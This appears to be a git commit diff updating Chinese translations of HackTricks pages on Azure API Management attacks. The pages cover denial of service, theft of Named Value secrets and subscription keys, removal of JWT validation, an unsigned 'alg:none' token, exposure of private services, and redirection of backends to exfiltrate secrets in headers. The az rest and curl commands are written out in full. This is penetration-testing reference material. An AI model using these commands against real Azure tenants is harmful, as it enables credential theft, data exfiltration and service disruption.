mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio
This commit is contained in:
@@ -2,8 +2,8 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
|
||||
攻击者可通过多种向量触发 denial of service。为阻断合法流量,攻击者会添加值极低的 rate-limiting 和 quota policies,从而有效阻止正常访问:
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` 或 `Microsoft.ApiManagement/service/policies/write`
|
||||
攻击者可以使用多种向量造成拒绝服务。为了阻止合法流量,攻击者会添加限速和配额策略,将值设置得极低,从而有效地阻止正常访问:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
@@ -15,7 +15,7 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
为了阻止特定的合法客户端 IP,攻击者可以添加 IP 过滤策略以拒绝来自选定地址的请求:
|
||||
为了阻止特定的合法客户端 IP,attacker 可以添加 IP 过滤策略,拒绝来自选定地址的请求:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
@@ -47,14 +47,14 @@ az rest --method DELETE \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/apis/delete`
|
||||
要使关键 APIs 无法使用,攻击者可以直接从 API Management service 删除它们:
|
||||
为了使关键 API 无法使用,攻击者可以直接从 API Management service 删除它们:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
要阻止来自互联网的访问,攻击者可以在 API Management 服务上禁用公共网络访问:
|
||||
为了阻止来自 Internet 的访问,攻击者可以在 API Management 服务上禁用公共网络访问:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
|
||||
@@ -66,7 +66,7 @@ az rest --method PATCH \
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/delete`
|
||||
为了阻止合法用户访问,攻击者可以删除 API Management 的订阅:
|
||||
要阻止合法用户的访问,攻击者可以删除 API Management 订阅:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
|
||||
|
||||
@@ -4,31 +4,31 @@
|
||||
|
||||
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
|
||||
|
||||
该攻击涉及访问存储在 Azure API Management Named Values 中的敏感机密,攻击者可以通过直接检索机密值,或滥用权限通过 managed identities 获取 Key Vault 支持的机密。
|
||||
该攻击通过访问存储在 Azure API Management Named Values 中的敏感 secrets 来执行:可以直接检索 secret 值,或滥用权限通过 managed identities 获取 Key Vault–backed secrets。
|
||||
```bash
|
||||
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
|
||||
对于每个订阅,攻击者可以通过使用 listSecrets 端点并使用 POST 方法获取订阅密钥:
|
||||
对于每个订阅,攻击者可以通过对 listSecrets 端点使用 POST 方法来获取订阅密钥:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
|
||||
```
|
||||
响应包含订阅主密钥 (primaryKey) 和辅助密钥 (secondaryKey)。凭借这些密钥,攻击者可以对通过 API Management Gateway 发布的 APIs 进行身份验证并访问:
|
||||
响应包含订阅的主密钥 (primaryKey) 和辅助密钥 (secondaryKey)。使用这些密钥,攻击者可以对通过 API Management Gateway 发布的 APIs 进行身份验证并访问:
|
||||
```bash
|
||||
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
|
||||
https://<service-name>.azure-api.net/<api-path>
|
||||
```
|
||||
攻击者可以访问与该订阅相关的所有 API 和产品。如果该订阅可以访问敏感产品或 API,攻击者可能会获取机密信息或执行未授权的操作。
|
||||
攻击者可以访问与该订阅关联的所有 API 和产品。如果该订阅可以访问敏感的产品或 API,攻击者可能获取机密信息或执行未授权的操作。
|
||||
|
||||
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
## `Microsoft.ApiManagement/service/policies/write` 或 `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
|
||||
攻击者首先检索当前的 API 策略:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
```
|
||||
攻击者可以根据其目标以多种方式修改策略。例如,为了禁用身份验证,如果策略包含 JWT token validation,攻击者可以删除或注释该部分:
|
||||
攻击者可以根据其目标以多种方式修改策略。例如,要禁用身份验证,如果策略包含 JWT token validation,攻击者可以删除或注释掉该部分:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
@@ -49,7 +49,7 @@ az rest --method GET \
|
||||
</on-error>
|
||||
</policies>
|
||||
```
|
||||
为了移除 rate limiting controls 并允许 denial-of-service attacks,攻击者可以移除或注释掉 quota 和 rate-limit policies:
|
||||
为了移除 rate limiting 控制并允许 denial-of-service attacks,攻击者可以移除或注释掉 quota 和 rate-limit policies:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
@@ -72,7 +72,7 @@ az rest --method GET \
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
随后攻击者应用修改后的策略。请求主体必须是一个包含以 XML 格式表示策略的 JSON 对象:
|
||||
攻击者随后应用已修改的策略。请求体必须是一个包含以 XML 格式表示的策略的 JSON 对象:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
@@ -84,11 +84,11 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
## JWT 验证 错误配置
|
||||
## JWT 验证配置错误
|
||||
|
||||
攻击者需要知道某个 API 使用 JWT token 验证且该策略配置错误。配置不当的 JWT 验证策略可能包含 `require-signed-tokens="false"` 或 `require-expiration-time="false"`,这会允许服务接受未签名的 tokens 或 永不过期的 tokens。
|
||||
攻击者需要知道某个 API 使用 JWT token 验证并且策略配置错误。配置不当的 JWT 验证策略可能包含 `require-signed-tokens="false"` 或 `require-expiration-time="false"`,这会允许服务接受未签名的 token 或永不过期的 token。
|
||||
|
||||
攻击者使用 none 算法 (unsigned) 创建一个恶意 JWT token:
|
||||
攻击者创建一个使用 none 算法(未签名)的恶意 JWT token:
|
||||
```
|
||||
# Header: {"alg":"none"}
|
||||
# Payload: {"sub":"user"}
|
||||
@@ -100,17 +100,17 @@ curl -X GET \
|
||||
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
|
||||
https://<apim>.azure-api.net/path
|
||||
```
|
||||
如果策略被错误配置为 `require-signed-tokens="false"`,服务将接受未签名的令牌。 如果 `require-expiration-time="false"`,攻击者也可以创建没有过期声明的令牌。
|
||||
如果策略配置错误,`require-signed-tokens="false"`,服务将接受未签名的 token。攻击者还可以在 `require-expiration-time="false"` 的情况下创建没有 expiration claim 的 token。
|
||||
|
||||
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
攻击者首先检查服务的当前网络配置:
|
||||
攻击者首先检查该服务的当前网络配置:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
```
|
||||
攻击者会查看 JSON 响应以验证 `publicNetworkAccess` 和 `virtualNetworkType` 的值。如果 `publicNetworkAccess` 设置为 false 或 `virtualNetworkType` 设置为 Internal,则该服务配置为私有访问。
|
||||
攻击者检查 JSON 响应以验证 `publicNetworkAccess` 和 `virtualNetworkType` 的值。如果 `publicNetworkAccess` 被设置为 false,或 `virtualNetworkType` 被设置为 Internal,则该服务配置为私有访问。
|
||||
|
||||
要将服务暴露到 Internet,攻击者必须更改这两个设置。如果服务以内部模式运行(`virtualNetworkType: "Internal"`),攻击者会将其改为 None 或 External 并启用公共网络访问。可以使用 Azure Management API 完成此操作:
|
||||
要将服务暴露到 Internet,攻击者必须更改这两个设置。如果服务以内部模式运行(`virtualNetworkType: "Internal"`),攻击者会将其更改为 None 或 External,并启用公共网络访问。可以使用 Azure Management API 来完成此操作:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
|
||||
@@ -122,10 +122,10 @@ az rest --method PATCH \
|
||||
}
|
||||
}'
|
||||
```
|
||||
一旦 `virtualNetworkType` 被设置为 `None` 或 `External` 并且 `publicNetworkAccess` 被启用,服务及其所有 APIs 就会从 Internet 可访问,即使它们之前受私有网络或私有终端节点保护。
|
||||
一旦 `virtualNetworkType` 设置为 `None` 或 `External` 并且 `publicNetworkAccess` 被启用,服务及其所有 API 将可从互联网访问,即使它们之前受私有网络或私有端点保护。
|
||||
|
||||
## `Microsoft.ApiManagement/service/backends/write`
|
||||
攻击者首先枚举现有的 backends 以确定要修改的哪一个:
|
||||
攻击者首先枚举现有的后端以确定要修改的哪一个:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
@@ -135,7 +135,7 @@ az rest --method GET \
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
```
|
||||
攻击者将后端 URL 修改为指向他们控制的服务器。首先,他们从之前的响应中获取 ETag,然后更新后端:
|
||||
攻击者将后端 URL 修改为指向其控制的服务器。首先,他们从之前的响应中获取 ETag,然后更新后端:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
@@ -148,7 +148,7 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
或者,攻击者可以配置 backend headers 来 exfiltrate 包含机密的 Named Values。 这是通过 backend credentials configuration 完成的:
|
||||
另外,攻击者可以通过配置后端 headers 来外传包含机密的 Named Values。此操作通过后端凭证配置完成:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
@@ -165,6 +165,6 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
通过此配置,Named Values 会作为 headers 在所有发往攻击者控制的后端的请求中发送,从而使敏感机密得以外泄。
|
||||
在此配置下,Named Values 会作为 headers 附加到所有发往攻击者控制的 backend 的请求中,从而使敏感凭据得以外泄。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,41 +4,41 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
Azure API Management (APIM) 是一个完全托管的服务,提供一个**用于发布、保护、转换、管理和监控 APIs 的统一平台**。它使组织能够**集中其 API** 战略,并确保在所有服务中实现一致的治理、性能和安全。通过在后端服务与 API 消费者之间作为抽象层,APIM 简化了集成并提高了可维护性,同时提供关键的运营与安全能力。
|
||||
Azure API Management (APIM) 是一项完全托管的服务,提供一个**用于发布、保护、转换、管理和监控 API 的统一平台**。它使组织能够**集中其 API**策略,确保其所有服务在治理、性能和安全方面的一致性。通过在后端服务和 API 消费者之间充当抽象层,APIM 简化了集成并增强了可维护性,同时提供关键的运维和安全能力。
|
||||
|
||||
## 核心概念
|
||||
|
||||
**API 网关** 作为所有 API 流量的单一入口点,处理将请求路由到后端服务、实施速率限制、缓存响应以及管理认证和授权等功能。此网关由 Azure 完全托管,确保高可用性和可扩展性。
|
||||
**The API Gateway** 作为所有 API 流量的单一入口点,负责将请求路由到后端服务、执行速率限制、缓存响应以及管理身份验证和授权等功能。该网关由 Azure 完全托管,确保高可用性和可扩展性。
|
||||
|
||||
**开发者门户 (Developer Portal)** 提供一个自助环境,API 消费者可以在此发现可用的 APIs、阅读文档并测试端点。它通过提供交互式工具和访问订阅信息来简化入门流程。
|
||||
**The Developer Portal** 提供了一个自助服务环境,API 消费者可以在此发现可用 API、阅读文档并测试端点。它通过提供交互式工具和订阅信息访问来简化入门流程。
|
||||
|
||||
**管理门户 (Management Portal / Management Plane)** 由管理员用于配置和维护 APIM 服务。管理员可以在此定义 API 与操作、配置访问控制、应用策略、管理用户并将 APIs 组织为产品。该门户集中管理并确保一致的 API 治理。
|
||||
**The Management Portal (Management Plane)** 由管理员用于配置和维护 APIM 服务。在这里,用户可以定义 APIs 和操作、配置访问控制、应用策略、管理用户并将 APIs 组织到产品中。该门户集中管理,确保一致的 API 治理。
|
||||
|
||||
## 认证与授权
|
||||
## 身份验证和授权
|
||||
|
||||
Azure API Management 支持多种**认证机制**来保护 API 访问。这些包括 **subscription keys**、**OAuth 2.0 tokens** 和 **client certificates**。APIM 还与 **Microsoft Entra ID** 原生集成,实现**企业级身份管理**和对 API 及后端服务的**安全访问**。
|
||||
Azure API Management 支持多种**身份验证机制**以保护 API 访问,包括 **subscription keys**、**OAuth 2.0 tokens** 和 **client certificates**。APIM 还原生集成 **Microsoft Entra ID**,实现企业级身份管理并为 API 及后端服务提供安全访问。
|
||||
|
||||
## 策略
|
||||
|
||||
APIM 中的策略允许管理员在不同粒度级别上自定义**请求与响应处理**,包括**service**、**API**、**operation** 或 **product** 级别。通过策略,可以实施 **JWT token validation**、**转换 XML 或 JSON 有效负载**、**应用速率限制**、**按 IP 地址限制调用**,或**使用 managed identities 对后端服务进行身份验证**。策略具有**高度灵活性**,是 API Management 平台的**核心优势**之一,使得在不修改后端代码的情况下实现对运行时行为的**细粒度控制**。
|
||||
APIM 中的策略允许管理员在不同粒度上自定义**请求和响应处理**,包括 **service**、**API**、**operation** 或 **product** 级别。通过策略,可以强制执行 **JWT token validation**、转换 **XML 或 JSON** 有效负载、应用速率限制、按 **IP address** 限制调用,或使用 **managed identities** 对后端服务进行身份验证。策略**高度灵活**,是 API Management 平台的**核心优势**之一,使得在不修改后端代码的情况下实现对运行时行为的细粒度控制成为可能。
|
||||
|
||||
## 命名值
|
||||
## Named Values
|
||||
|
||||
该服务提供一种称为 **Named Values** 的机制,允许存储**配置信息**,例如**secrets**、**API keys** 或策略所需的其他值。
|
||||
服务提供了一个称为 **Named Values** 的机制,用于存储诸如 **secrets**、**API keys** 或策略所需的其他配置信息。
|
||||
|
||||
这些值可以直接存储在 APIM 内,或从 **Azure Key Vault** 安全引用。Named Values 促进了配置信息的**安全且集中化管理**,并通过允许**可重用引用**而不是硬编码值来简化策略编写。
|
||||
这些值可以直接存储在 APIM 中,或安全地从 **Azure Key Vault** 引用。Named Values 提倡对配置数据进行**集中且安全的管理**,并通过允许**可重用的引用**来简化策略编写,避免硬编码值。
|
||||
|
||||
## 网络与安全集成
|
||||
|
||||
Azure API Management 可与**虚拟网络环境**无缝集成,支持与后端系统的**私有且安全的连接**。
|
||||
Azure API Management 与 **virtual network** 环境无缝集成,支持与后端系统的**私有且安全的连接**。
|
||||
|
||||
当部署在 **Virtual Network (VNet)** 内时,APIM 可以访问**内部服务**而无需公开暴露它们。该服务还允许配置**自定义证书**以支持与后端服务的**双向 TLS (mutual TLS) 认证**,在需要**强身份验证**的场景中提升安全性。
|
||||
当部署在 **Virtual Network (VNet)** 内时,APIM 可以访问内部服务而无需公开暴露它们。该服务还允许配置 **custom certificates** 以支持与后端服务的 **mutual TLS authentication**,在需要**强身份校验**的场景下提升安全性。
|
||||
|
||||
这些**网络特性**使得 APIM 适用于**云原生**和**混合架构**。
|
||||
这些**网络功能**使得 APIM 适用于 **cloud-native** 和 **hybrid architectures** 两类架构。
|
||||
|
||||
### 枚举
|
||||
|
||||
要枚举 API 管理服务:
|
||||
要枚举 API Management 服务:
|
||||
```bash
|
||||
# Lists all Named Values configured in the Azure API Management instance
|
||||
az apim nv list --resource-group <resource-group> --service-name <service-name>
|
||||
|
||||
Reference in New Issue
Block a user